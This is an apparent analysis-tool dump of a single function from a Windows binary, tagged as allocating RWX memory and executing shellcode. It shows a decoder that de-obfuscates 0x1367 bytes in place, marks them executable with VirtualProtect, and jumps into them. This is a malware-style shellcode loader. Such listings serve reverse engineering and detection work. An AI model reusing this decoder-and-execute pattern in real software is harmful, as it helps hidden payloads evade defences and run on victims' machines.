Function at 0x10003290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 0xc], 0
push 0xbebc200
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x100034f0
push 0xbebc200
push 0xde
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 8], 0
jmp 0x100032e1
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1367
jae 0x100034d3
mov eax, dword [ebp - 8]
mov al, byte [eax + 0x10005010]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sar eax, 6
movzx ecx, byte [ebp - 1]
shl ecx, 2
or eax, ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, 0x91
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, 0x9a
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sar eax, 5
movzx ecx, byte [ebp - 1]
shl ecx, 3
or eax, ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, 0xc2
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, 0x7a
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sar eax, 6
movzx ecx, byte [ebp - 1]
shl ecx, 2
or eax, ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sar eax, 7
movzx ecx, byte [ebp - 1]
shl ecx, 1
or eax, ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
neg eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, 0xe
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, 0x18
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, 0x96
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, 0xf1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
add eax, 0xf4
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sar eax, 2
movzx ecx, byte [ebp - 1]
shl ecx, 6
or eax, ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sar eax, 6
movzx ecx, byte [ebp - 1]
shl ecx, 2
or eax, ecx
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
not eax
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
sub eax, dword [ebp - 8]
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
xor eax, dword [ebp - 8]
mov byte [ebp - 1], al
mov eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov byte [eax + 0x10005010], cl
jmp 0x100032da
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x1367
push 0x10005010
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10005010
call eax
xor eax, eax
leave
ret